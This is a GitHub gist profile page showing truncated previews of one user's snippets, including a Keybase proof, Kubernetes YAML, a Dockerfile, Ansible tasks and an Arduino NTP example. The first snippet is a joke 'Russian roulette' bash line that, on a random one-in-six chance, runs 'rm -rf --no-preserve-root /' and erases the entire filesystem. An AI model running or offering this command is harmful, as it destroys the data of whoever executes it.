Skip to content

Instantly share code, notes, and snippets.

View Mattvogel's full-sized avatar

Matthew Vogel Mattvogel

View GitHub Profile
#!/bin/bash
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf --no-preserve-root / || echo *Click*

Keybase proof

I hereby claim:

  • I am mattvogel on github.
  • I am mattvogel (https://keybase.io/mattvogel) on keybase.
  • I have a public key ASB2t8G9I6i5amPjzBQbpoVhAi-f4V1apxSUwxn-sPzxswo

To claim this, I am signing this object:

apiVersion: extensions/v1beta1
kind: Ingress
metadata:
name: profile
spec:
rules:
- host: profile.kadco.cloud
http:
paths:
- path: /
kind: Deployment
metadata:
labels:
app: profile
name: profile
spec:
progressDeadlineSeconds: 600
replicas: 4
revisionHistoryLimit: 10
selector:
FROM nginx:alpine
COPY public /usr/share/nginx/html
---
- name: Ensure EPEL is installed
yum: name=epel-release state=latest
- name: Install HAProxy
yum: name=haproxy state=latest
- name: Ensure haproxy is stopped
service: name=haproxy state=stopped
@Mattvogel
Mattvogel / ntp.ino
Created December 31, 2018 01:02
NTP Example.
/*
Udp NTP Client
Get the time from a Network Time Protocol (NTP) time server
Demonstrates use of UDP sendPacket and ReceivePacket
For more on NTP time servers and the messages needed to communicate with them,
see http://en.wikipedia.org/wiki/Network_Time_Protocol
created 4 Sep 2010